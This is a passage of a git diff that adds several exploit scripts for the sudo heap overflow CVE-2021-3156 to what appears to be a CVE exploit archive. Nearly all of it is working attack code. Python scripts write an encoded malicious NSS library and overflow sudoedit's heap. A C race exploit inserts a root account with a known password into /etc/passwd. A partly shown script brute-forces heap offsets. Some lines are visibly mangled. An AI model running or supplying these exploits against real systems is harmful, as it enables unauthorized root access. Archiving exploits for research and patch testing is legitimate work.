+argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ]
+
+env = [
+ b"A"*0x5e+b"\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known
+ b"X/X1234\\", # service_user->name
+ b"A"*0x2f+b"\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next
+ "", # overwrite last byte of service pointer to 0, so point back to above
+ b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a",
+ b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30,
+ b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4,
+ b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1,
+ b"LANG=C.UTF-8@"+b"Z"*0xd0,
+ None,
+]
+
+execve(SUDO_PATH, argv, env)
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py
new file mode 100644
index 0000000000000000000000000000000000000000..33605d263eb7c1432addc5a15b33934171b57aa7
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_manual.py
@@ -0,0 +1,49 @@
+#!/usr/bin/python3
+'''
+Exploit for CVE-2021-3156 by sleepya
+
+Simplified version of exploit_nss.py for easy understanding.
+- Remove all checking code
+- Remove embeded library
+- Manual a number of services before group line
+
+This exploit requires:
+- glibc with tcache
+- nscd service is not running
+'''
+import os
+
+SUDO_PATH = b"/usr/bin/sudo"
+
+def execve(filename, argv, envp):
+ from ctypes import cdll, c_char_p, POINTER
+ libc = cdll.LoadLibrary("libc.so.6")
+ libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(envp))(*envp)
+
+ libc.execve(filename, cargv, cenvp)
+
+
+TARGET_OFFSET_START = 0x780
+
+FAKE_USER_SERVICE_PART = [ b"\\" ]*0x18 + [ b"X/X1234\\" ]
+FAKE_USER_SERVICE = FAKE_USER_SERVICE_PART * 13
+FAKE_USER_SERVICE[-1] = FAKE_USER_SERVICE[-1][:-1] # remove last backslash
+
+argv = [ b"sudoedit", b"-A", b"-s", b"A"*(0xe0)+b"\\", None ]
+
+env = [ b"Z"*(TARGET_OFFSET_START + 0xf - 8 - 1) + b"\\" ] + FAKE_USER_SERVICE
+env.extend([
+ b"LC_CTYPE=C.UTF-8@"+b'A'*0x28+b";A=",
+ b"LC_NUMERIC=C.UTF-8@"+b'A'*0xd8,
+ b"LC_TIME=C.UTF-8@"+b'A'*0x28,
+ b"LC_COLLATE=C.UTF-8@"+b'A'*0x28,
+ #b"LC_MONETARY=C.UTF-8@"+b'A'*0x28, # for 3 entries in passwd line
+ b"LC_IDENTIFICATION=C.UTF-8@"+b'A'*0x78, # for filling holes from freed file buffer
+ b"TZ=:",
+ None
+])
+
+execve(SUDO_PATH, argv, env)
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py
new file mode 100644
index 0000000000000000000000000000000000000000..b0acb24499a0f35a519036d36f294e4b035882c8
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u14.py
@@ -0,0 +1,107 @@
+#!/usr/bin/python
+'''
+Exploit for CVE-2021-3156 on Ubuntu 14.04 by sleepya
+
+This exploit requires:
+- glibc without tcache
+- nscd service is not running
+- only defaults /etc/nsswitch.conf (need adjust LC_* if changed)
+
+Ubuntu 14.04 uses eglibc. A name in name_database_entry and service_user is pointer.
+- NULL name_database_entry->next, name_database_entry->service.
+- overwite name_database_entry->name with address in VSYSCALL
+- overwrite least significant byte of service_user->name to NULL. so a name pointer
+ points back to overwritten area.
+
+Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much.
+
+Tested on:
+- Ubuntu 14.04.3
+'''
+import os
+from struct import pack
+
+SUDO_PATH = b"/usr/bin/sudo"
+
+def execve(filename, argv, envp):
+ from ctypes import cdll, c_char_p, POINTER
+
+ libc = cdll.LoadLibrary("libc.so.6")
+ libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(env))(*envp)
+
+ libc.execve(filename, cargv, cenvp)
+
+def create_libx(name):
+ so_path = 'libnss_'+name+'.so.2'
+ if os.path.isfile(so_path):
+ return # existed
+
+ so_dir = 'libnss_' + name.split('/')[0]
+ if not os.path.exists(so_dir):
+ os.makedirs(so_dir)
+
+ import zlib
+ import base64
+
+ libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
+ with open(so_path, 'wb') as f:
+ f.write(zlib.decompress(base64.b64decode(libx_b64)))
+
+def check_nsswitch():
+ idx = 0
+ found_passwd = False
+ with open('/etc/nsswitch.conf', 'r') as f:
+ for line in f:
+ if line.startswith('#'):
+ continue # comment
+ line = line.strip()
+ if not line:
+ continue # empty line
+ words = line.split()
+ cnt = 0
+ for word in words[1:]:
+ if word[0] != '[':
+ cnt += 1
+ if words[0] == 'group:':
+ if not found_passwd:
+ return False
+ return cnt == 1
+ if words[0] == 'passwd:':
+ if cnt != 1:
+ return False
+ found_passwd = True
+ # TODO: should check all line because they might affect offset
+
+ return False
+
+assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong'
+create_libx("X/X1234")
+
+TARGET_CMND_SIZE = 0x30
+
+argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ]
+
+env = [
+ "A"*(0xf+0x50) +
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service
+ pack("name, padding, service_user chunk size
+ "A"*0x10 +
+ "X/X1234\\", # service_user->name
+ "A"*0x8 +
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known
+ "", # NULL 1 byte of pointer to library name
+ b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0x30+b";a=a",
+ b"LC_PAPER=C.UTF-8@"+b"L"*0x10,
+ b"LC_NAME=C.UTF-8@"+b"L"*0x1,
+ b"LC_TIME=C.UTF-8@"+b"L"*0x1,
+ b"LANG=C.UTF-8@"+b"Z"*0xd0,
+ None,
+]
+
+execve(SUDO_PATH, argv, env)
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py
new file mode 100644
index 0000000000000000000000000000000000000000..f6b237158d6ff8c7b3a8e526db2d681d45f10bad
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_nss_u16.py
@@ -0,0 +1,102 @@
+#!/usr/bin/python
+'''
+Exploit for CVE-2021-3156 on Ubuntu 16.04 by sleepya
+
+This exploit requires:
+- glibc without tcache
+- nscd service is not running
+- only defaults /etc/nsswitch.conf (need adjust LC_* if changed)
+
+Below is important struct that MUST be carefully overwritten
+- NULL name_database_entry->next and name_database_entry->service
+- overwrite service_user object
+
+Note: Exploit might fail with certain configuration even on a tested target. Don't expect too much.
+
+Tested on:
+- Ubuntu 16.04.1
+- Ubuntu 16.04
+'''
+import os
+
+SUDO_PATH = b"/usr/bin/sudo"
+
+def execve(filename, argv, envp):
+ from ctypes import cdll, c_char_p, POINTER
+
+ libc = cdll.LoadLibrary("libc.so.6")
+ libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
+
+ cargv = (c_char_p * len(argv))(*argv)
+ cenvp = (c_char_p * len(env))(*envp)
+
+ libc.execve(filename, cargv, cenvp)
+
+def create_libx(name):
+ so_path = 'libnss_'+name+'.so.2'
+ if os.path.isfile(so_path):
+ return # existed
+
+ so_dir = 'libnss_' + name.split('/')[0]
+ if not os.path.exists(so_dir):
+ os.makedirs(so_dir)
+
+ import zlib
+ import base64
+
+ libx_b64 = 'eNqrd/VxY2JkZIABZgY7BhBPACrkwIAJHBgsGJigbJAydgbcwJARlWYQgFBMUH0boMLodAIazQGl\neWDGQM1jRbOPDY3PhcbnZsAPsjIjDP/zs2ZlRfCzGn7z2KGflJmnX5zBEBASn2UdMZOfFQDLghD3'
+ with open(so_path, 'wb') as f:
+ f.write(zlib.decompress(base64.b64decode(libx_b64)))
+
+def check_nsswitch():
+ idx = 0
+ found_passwd = False
+ with open('/etc/nsswitch.conf', 'r') as f:
+ for line in f:
+ if line.startswith('#'):
+ continue # comment
+ line = line.strip()
+ if not line:
+ continue # empty line
+ words = line.split()
+ cnt = 0
+ for word in words[1:]:
+ if word[0] != '[':
+ cnt += 1
+ if words[0] == 'group:':
+ if not found_passwd:
+ return False
+ return cnt == 1
+ if words[0] == 'passwd:':
+ if cnt != 1:
+ return False
+ found_passwd = True
+ # TODO: should check all line because they affect offset
+
+ return False
+
+assert check_nsswitch(), '/etc/nsswith.conf is not default. offset is definitely wrong'
+create_libx("X/X1234")
+
+TARGET_CMND_SIZE = 0x30
+
+argv = [ b"sudoedit", b"-A", b"-s", b"a", b"a", b"A"*(TARGET_CMND_SIZE-0x10-4)+b"\\", None ]
+
+env = [
+ b"A"*0xae+b"\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->next
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # name_database_entry->service
+ "group\\", "A\\", # name_database_entry->name
+ b"A"*0x27+b"\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->library
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # service_user->known
+ b"X/X1234", # service_user->name
+ b"LC_MESSAGES=C_zzzzzzzz.UTF-8@"+b"L"*0xd0+b";a=a",
+ b"LC_PAPER=C_gggg.UTF-8@"+b"L"*0x30,
+ b"LC_NAME=C_gggg.UTF-8@"+b"L"*0x4,
+ b"LC_TIME=C_gggg.UTF-8@"+b"L"*0x1,
+ b"LANG=C.UTF-8@"+b"Z"*0xd0,
+ None,
+]
+
+execve(SUDO_PATH, argv, env)
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c b/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c
new file mode 100644
index 0000000000000000000000000000000000000000..a95938cc8a5196cf7af1c0d88ab30b8cf0a7b2ea
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_timestamp_race.c
@@ -0,0 +1,332 @@
+/*
+Exploit for CVE-2021-3156 with def_timestamp overwrite by sleepya
+
+This exploit requires:
+- glibc with tcache
+- at least 2 CPUs on target machine
+- sudo version 1.8.x (1.9.x write size is fixed)
+
+gcc -O2 -o exploit_timestamp_race exploit_timestamp_race.c -ldl
+
+Tested on:
+- Ubuntu 18.04
+- Ubuntu 20.04
+- Debian 10
+- CentOS 8
+- openSUSE 15.0
+*/
+#define _GNU_SOURCE
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+// default sleep time for raceing.
+// sleep time is automatically adjusted while running
+// this value can be replaced by argv[1]
+#define DEFAULT_SLEEP_MS 4000
+
+#define PASSWD_FILE "/etc/passwd"
+#define BACKUP_FILE "/tmp/passwd.bak"
+
+#define SUDO_PATH "/usr/bin/sudo"
+// for no locale-langpack, working dir length MUST be 0x28-0x37 to create chunk size 0x40
+#define WORKING_DIR "/tmp/gogogo123456789012345678901234567890go"
+
+// user: gg, pass: gg
+#define PASSWD_LINES "gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash"
+
+#define A8 "AAAAAAAA"
+#define A10 A8 A8
+#define A20 A10 A10
+#define A40 A20 A20
+#define A80 A40 A40
+#define Ab0 A80 A20 A10
+#define Ae0 A80 A40 A20
+#define A200 A80 A80 A80 A80
+#define A400 A200 A200
+#define A800 A400 A400
+#define A1000 A800 A800
+#define A4000 A1000 A1000 A1000 A1000
+#define A10000 A4000 A4000 A4000 A4000
+
+#define CURDIR10 "././././././././././"
+#define CURDIR20 CURDIR10 CURDIR10
+#define CURDIR40 CURDIR20 CURDIR20
+#define CURDIR100 CURDIR40 CURDIR40 CURDIR20
+
+// don't put "SUDO_ASKPASS" enviroment. sudo will fail without logging
+static char *senv_nopack[] = {
+ "1234567" // Intention: no comma
+ // struct loaded_l10nfile
+ "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next
+ A80 A20 A8 // Intention: no comma
+ // struct loaded_l10nfile
+ "\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", // chunk metadata
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // filename
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // data
+ "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", // next
+ A20 A10 A8 "1234567\\",
+ "", // tsdir
+ "\n" PASSWD_LINES "\n",
+ "LC_MESSAGES=C.UTF-8@" A80 A20 A8 "12345",
+ "LANG=C",
+ "TZ=:",
+ A10000,
+ NULL
+};
+// ubuntu based
+static char *senv_langpack[] = {
+ "1234567" A10 A8 "1234567\\",
+ "", // tsdir
+ "\n" PASSWD_LINES "\n",
+ "LC_MESSAGES=C.UTF-8@" A80 A20,
+ "LANG=C",
+ "TZ=:",
+ A10000,
+ NULL
+};
+// opensuse
+static char *senv_bundle[] = {
+ "123456\\",
+ "", // tsdir
+ "\n" PASSWD_LINES "\n",
+ "LC_MESSAGES=C.UTF-8@" A80 A20,
+ "LANG=C",
+ "TZ=:",
+ // sudoers.so (OpenSUSE) that linked with openssl is a mess. heap layout is changed every run.
+ // set OPENSSL_ia32cap=0 to make predictable heap layout.
+ "OPENSSL_ia32cap=0",
+ A10000,
+ NULL
+};
+
+static void backup_passwd()
+{
+ // backup
+ if (system("cp " PASSWD_FILE " " BACKUP_FILE) != 0) {
+ printf("Cannot backup passwd file\n");
+ exit(1);
+ }
+ if (system("echo '"PASSWD_LINES"' >> "BACKUP_FILE) != 0) {
+ printf("Cannot append gg user in backup passwd file\n");
+ exit(1);
+ }
+}
+
+static size_t get_passwd_size()
+{
+ struct stat st;
+ stat(PASSWD_FILE, &st);
+ return st.st_size;
+}
+
+static char* get_user()
+{
+ struct passwd *pw;
+
+ pw = getpwuid(getuid());
+ if (!pw) {
+ puts("Cannot get user name");
+ exit(1);
+ }
+
+ return strdup(pw->pw_name);
+}
+
+static int find_mode()
+{
+ // find libc path
+ Dl_info info;
+ if (dladdr(exit, &info) == 0) {
+ printf("Cannot find libc path\n");
+ exit(1);
+ }
+
+ // map libc to memory
+ struct stat st;
+ int fd = open(info.dli_fname, O_RDONLY);
+ if (fstat(fd, &st) != 0) {
+ printf("Cannot load libc\n");
+ exit(1);
+ }
+ void *addr = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+
+ int mode = 1;
+ // use 'e-langpa' in case of optimization
+ if (memmem(addr, st.st_size, "e-langpa", 8) != 0) {
+ mode = 2;
+ }
+ if (memmem(addr, st.st_size, "e-bundle", 8) != 0) {
+ if (mode != 2) {
+ printf("has no /usr/share/locale-langpack but has /usr/share/locale-bundle\n");
+ exit(1);
+ }
+ mode = 3;
+ }
+
+ munmap(addr, st.st_size);
+ close(fd);
+
+ return mode;
+}
+
+const char *alnum = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_";
+
+int main(int argc, char **argv)
+{
+ int sleep_us = DEFAULT_SLEEP_MS;
+ if (argc > 1)
+ sleep_us = atoi(argv[1]);
+ size_t initial_size = get_passwd_size();
+
+ backup_passwd();
+
+ char realdir_name[2] = {0};
+ char link_timestamp_file[128];
+ char *user = get_user();
+
+ int null_fd = open("/dev/null", O_RDWR);
+ if (null_fd == -1) {
+ perror("open");
+ return 1;
+ }
+
+ char *sudo_argv[] = { "sudoedit", "-A", "-s", Ae0 "\\", NULL };
+
+ char tsdir[0x100] = {0};
+ strcpy(tsdir, CURDIR100);
+ char *dir_ptr = tsdir + sizeof(CURDIR100) - 1;
+
+ char **sudo_env;
+ switch (find_mode()) {
+ case 1:
+ sudo_env = senv_nopack;
+ sudo_env[79] = tsdir;
+ break;
+ case 2:
+ sudo_env = senv_langpack;
+ sudo_env[1] = tsdir;
+ break;
+ case 3:
+ sudo_env = senv_bundle;
+ sudo_env[1] = tsdir;
+ sudo_argv[3] = A40 "\\";
+ break;
+ default:
+ exit(1);
+ }
+
+ mkdir(WORKING_DIR, 0750);
+ if (chdir(WORKING_DIR) != 0) {
+ perror("chdir");
+ return 1;
+ }
+
+ const char *curr_dir = alnum;
+ sprintf(link_timestamp_file, "%c/%s", *curr_dir, user);
+
+ int success = 0;
+ struct stat st;
+ mode_t old_mask = umask(0);
+ for (int i = 0; i < 1000; ++i) {
+ *dir_ptr = *curr_dir;
+ realdir_name[0] = *curr_dir;
+ link_timestamp_file[0] = *curr_dir;
+
+ int pid = fork();
+ if (!pid) {
+ execve(SUDO_PATH, sudo_argv, sudo_env);
+ exit(0);
+ }
+
+ usleep(sleep_us);
+
+ if (mkdir(realdir_name, 0777) == -1) {
+ perror("mkdir");
+ }
+ else if (symlink(PASSWD_FILE, link_timestamp_file) == -1) {
+ perror("symlink");
+ }
+ else {
+ // all success. sudo will unlink it one time
+ for (int j = 0; j < 5000; j++) {
+ if (symlink(PASSWD_FILE, link_timestamp_file) == 0) {
+ // success again
+ printf("symlink 2nd time success at: %d\n", j);
+ break;
+ }
+ }
+ }
+ waitpid(pid, 0, 0);
+
+ if (get_passwd_size() != initial_size) {
+ printf("[+] Success with %d attempts!\n", i);
+ printf("succes with sleep time %d us\n", sleep_us);
+ success = 1;
+ break;
+ }
+
+ if (lstat(link_timestamp_file, &st) == 0) {
+ if (S_ISLNK(st.st_mode)) {
+ // symbolic link. create dir is too early
+ printf("Failed. can cleanup\n");
+ sleep_us += 100;
+ }
+ else {
+ // failed to create 2nd symbolic link
+ printf("Failed to create 2nd symbolic\n");
+ }
+
+ // cleanup and reuse dir
+ if (unlink(link_timestamp_file) == 0) {
+ rmdir(realdir_name);
+ } else {
+ // should never happen
+ printf("Cannot remove symbolic link !!!\n");
+ exit(0);
+ }
+ }
+ else {
+ // sudo create a directory before us. cannot reuse this dir
+ curr_dir++;
+ if (*curr_dir == '\0') {
+ printf("out of dir name\n");
+ exit(1);
+ }
+ printf("change dir to: %c\n", *curr_dir);
+ // decrease sleep time
+ if (sleep_us > 0)
+ sleep_us -= 100;
+ }
+ }
+
+ if (!success) {
+ printf("exploit failed\n");
+ return 1;
+ }
+
+ umask(old_mask);
+
+ // restore /etc/passwd with an extra line. cleanup WORKING_DIR.
+ chdir("/");
+ system("echo gg | su -c \"cp "BACKUP_FILE " " PASSWD_FILE ";rm -rf " WORKING_DIR "\" - gg ");
+ unlink(BACKUP_FILE);
+
+ printf("now can use \"su - gg\" with 'gg' password to become root\n");
+
+ return 0;
+}
diff --git a/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py b/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py
new file mode 100644
index 0000000000000000000000000000000000000000..af2e15ad4f444d757b80d5f33516aabdca79bcc9
--- /dev/null
+++ b/cve/sudo/2021/CVE-2021-3156/exploit_userspec.py
@@ -0,0 +1,736 @@
+#!/usr/bin/python
+'''
+Exploit for CVE-2021-3156 with struct userspec overwrite by sleepya
+
+This exploit requires:
+- glibc without tcache
+- sudo version 1.8.9-1.8.23 (inclusive)
+- patient (and luck). Bruteforcing might take time (almost instant to >10 mins)
+
+Note: Disable ASLR before running the exploit if you don't want to wait for bruteforcing
+
+Without glibc tcache, a heap layout rarely contains hole.
+The heap overflow vulnerability is triggered after parsing /etc/sudoers.
+The parsing process always leaves a large hole before parsed data (struct defaults, struct userspec).
+
+Tested on:
+- CentOS 7 (1.8.23)
+- Ubuntu 16.04.1
+- Debian 9
+- Fedora 25
+
+sudo version related info:
+v1.8.9
+- change tq_pop to tailq_list
+v1.8.11
+- move fatal callbacks to util. so cleanup is called correctly
+v1.8.19
+- add line, file to userspec (chunk size 0x50)
+v1.8.20
+- add timeout to cmndspec
+- add notbefore and notafter to cmndspec
+v1.8.21
+- move timeout in cmndspec to avoid padding (layout is changed)
+v1.8.23
+- add comments to userspec struct (chunk size 0x60)
+- add ldap field in privileges chunk
+v1.8.24
+- add free_userpsecs() and free_defaults() with TAILQ_FIRST/TAILQ_REMOVE
+'''
+import os
+import subprocess
+import sys
+import resource
+import select
+import signal
+from struct import pack, unpack
+from ctypes import cdll, c_char_p, POINTER
+
+SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
+
+TEE_PATH = b"/usr/bin/tee"
+PASSWD_PATH = b'/etc/passwd'
+APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
+
+DEBUG = False
+
+# fake defaults object for finding offsets
+# expect VSYSCALL permission is "r-x" on old Linux kernel
+VSYSCALL_ADDR = 0xffffffffff600000
+defaults_test_obj = [
+ b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # defaults.next
+ b"A"*8 + pack(" 0x10:
+ curr_size = (size_min + size_max) // 2
+ curr_size &= 0xfff0
+ print("\ncurr size: 0x%x" % curr_size)
+ argv[-2] = b"A"*(curr_size-0x10-len(PASSWD_PATH)-1)+b'\\'
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ print("\nexit code: %d" % exit_code)
+ print(err)
+ if exit_code == 256 and has_askpass(err):
+ # need pass. no crash.
+ # fit or almost fit
+ if found_size:
+ found_size = curr_size
+ break
+ # maybe almost fit. try again
+ found_size = curr_size
+ size_min = curr_size
+ size_max = curr_size + 0x20
+ elif exit_code == 11:
+ # segfault. too big
+ if found_size:
+ break
+ size_max = curr_size
+ else:
+ # heap corruption. too small
+ size_min = curr_size
+
+ if found_size:
+ return found_size
+ assert size_min == 0x2000 - 0x10
+ print('has 2 holes. very big one is bad')
+
+ size_min, size_max = 0xc00, 0x2000
+ for step in (0x400, 0x100, 0x40, 0x10):
+ found = False
+ env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
+ for curr_size in range(size_min, size_max, step):
+ argv[-2] = b"A"*(curr_size-0x10)+b'\\'
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ print("\ncurr size: 0x%x" % curr_size)
+ print("\nexit code: %d" % exit_code)
+ print(err)
+ if exit_code in (7, 11):
+ size_min = curr_size
+ found = True
+ elif found:
+ print("\nsize_min: 0x%x" % size_min)
+ break
+ assert found, "Cannot find cmnd size"
+ size_max = size_min + step
+
+ # TODO: verify
+ return size_min
+
+def find_defaults_chunk(argv, env_prefix):
+ offset = 0
+ pos = len(env_prefix) - 1
+ env = env_prefix[:]
+ env.extend([ b"LC_ALL=C", b"TZ=:", None ])
+ # overflow until sudo crash without asking pass
+ # crash because of defaults.entries.next is overwritten
+ while True:
+ env[pos] += b'A'*0x10
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ # 7 bus error, 11 segfault
+ if exit_code in (7, 11) and not has_askpass(err):
+ # found it
+ env[pos] = env[pos][:-0x10]
+ break
+ offset += 0x10
+
+ # new env_prefix
+ env_prefix = env[:-3]
+
+ # tmp env_prefix for if it is defaults
+ env_prefix_def = env_prefix[:]
+ env_prefix_def[-1] += b'\x41\\'
+ env_prefix_def.extend([ b'\\', b'\\', b'\\', b'\\', b'\\', b'\\' ])
+ env_prefix_def.extend(defaults_test_obj)
+
+ # verify if it is defaults
+ env = env_prefix_def[:]
+ env[-1] = env[-1][:-1] # remove 1 character. no overwrite next chunk with \x00
+ env.extend([ b"LC_ALL=C", b"TZ=:", None ])
+
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ # old sudo verion has no cleanup if authen fail. exit code is 256.
+ if has_askpass(err):
+ assert exit_code in (256, 11)
+ #if exit_code == 256: no_cleanup = True # old sudo version. no freeing if auth fails
+ # it is defaults
+ return True, offset, env_prefix_def
+
+ # no defaults, this one is likely struct member.
+ # reset offset. very rare case.
+ env_prefix[-1] = env_prefix[-1][:-offset]
+ return False, 0, env_prefix
+
+def find_member_chunk(argv, env_prefix):
+ # expect username ("root") chunk size 0x20 then follow by struct member
+ offset = 0
+ pos = len(env_prefix) - 1
+ env = env_prefix[:]
+ env[-1] = env[-1][:-1]
+ env.extend([ b"LC_ALL=C", b"TZ=:", None ])
+ found_heap_corruption = False
+ past_member = False
+ while True:
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ if not has_askpass(err) or (found_heap_corruption and exit_code == 11):
+ assert offset > 0
+ env[pos] = env[pos][:-0x10]
+ offset -= 0x10
+ print('decrease offset to: 0x%x' % offset)
+ past_member = True
+ continue
+ if past_member:
+ break # found it
+ if exit_code == 6:
+ if found_heap_corruption:
+ break
+ found_heap_corruption = True
+ env[pos] += b'A'*0x30
+ offset += 0x30
+ print('offset member: 0x%x' % offset)
+ return offset
+
+def find_first_userspec_chunk(argv, env_prefix):
+ offset_member = find_member_chunk(argv, env_prefix)
+
+ # after user member chunk, can safely skip 0x120 because of host, cmnd, cmndspec, privileges
+ SKIP_FIND_USERSPEC_SIZE = 0x120
+ offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE
+
+ pos = len(env_prefix) - 1
+ env = env_prefix[:]
+ env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata
+ tmp_env = env[-1]
+ env.extend([
+ b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next
+ b"A"*8 + # prev
+ b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # users.first
+ b"A"*8 + # users.last
+ b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"", # privileges.first
+ b"LC_ALL=C", b"TZ=:", None
+ ])
+
+ offset = _brute_userspec_offset(argv, env, pos, 0x100)
+ if offset is None:
+ offset = _find_single_userspec_chunk(argv, env_prefix, offset_member)
+ single_userspec = True
+ else:
+ offset += offset_pre
+ single_userspec = False
+
+ env_prefix[-1] += b'A'*offset
+ return offset, env_prefix, single_userspec
+
+def _brute_userspec_offset(argv, env, pos, max_offset):
+ offset = None
+ for i in range(0, max_offset, 0x10):
+ exit_code, err = spawn(SUDO_PATH, argv, env)
+ #print("0x%x, exit: %d" % (i, exit_code))
+ #print(err)
+ if has_askpass(err):
+ # found. 256 for ver <= 1.8.10 (no cleanup callback. no crash)
+ assert exit_code in (6, 7, 11, 256), "unexpect exit code: %d" % exit_code
+ offset = i
+ if exit_code == 6:
+ break
+ else:
+ assert exit_code == 11, 'expect segfault. got exit_code: %d' % exit_code
+ if offset is not None:
+ break
+
+ env[pos] = env[pos][:-1] + b'A'*0x10 + b'\\'
+
+ return offset;
+
+def _find_single_userspec_chunk(argv, env_prefix, offset_member=-1):
+ if offset_member == -1:
+ offset_member = find_member_chunk(argv, env_prefix)
+
+ # finding offset of only one userspec needs bruteforcing a bit
+ # we need entires.prev pointing to a valid address that contains NULL pointer.
+ # search valid userspec by partial overwritten entries.prev
+ # Note: this offset search method is very bad if ASLR is disabled (likely to fail)
+ # For quick testing: run this exploit with ASLR enabled for getting offset.
+ # Then, disable ASLR and rerun exploit with offset arguments
+ print('cannot find a userspec. assume only 1 userspec (1 rule in sudoers).')
+ SKIP_FIND_USERSPEC_SIZE = 0x160
+ offset_pre = offset_member + SKIP_FIND_USERSPEC_SIZE
+
+ pos = len(env_prefix) - 1
+ env = env_prefix[:]
+ env[-1] += b'A'*offset_pre + b'A'*7 + b'\\' # append chunk metadata
+ tmp_env = env[-1]
+ env.extend([
+ b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # next
+ b"", b"",
+ b"LC_ALL=C", b"TZ=:", None
+ ])
+
+ # first, attempt with NULL least significant byte of prev
+ offset = _brute_userspec_offset(argv, env, pos, 0xc0)
+ # then, attempt with NULL 2nd least significant byte and bruteforcing least siginificat byte
+ # normally, valid offset should be found in 1 round
+ # if ASLR is disabed, 2nd round is useless because addresses are same as first round.
+ for _ in range(2):
+ if offset is not None:
+ break
+
+ for val in range(0, 0x100, 0x8):
+ env[-5] = "\\" if val == 0 else pack('= 9, "too old sudo. this exploit method is unlikely (only exploitable with rare /etc/sudoer). not implement"
+ if sudo_vers[2] > 23:
+ # overwrite only string of first member
+ print("Warning: Only work if you known current user's password and no defaults. not implement")
+ exit(0)
+ return sudo_vers[2]
+
+def create_env(offset_defaults, offset_first_userspec, offset_userspec):
+ # offset_userspec
+ # - 0 if only first userspec is enough
+ # - -1 if only single userspec
+ with open('/proc/sys/kernel/randomize_va_space') as f: has_aslr = int(f.read()) != 0
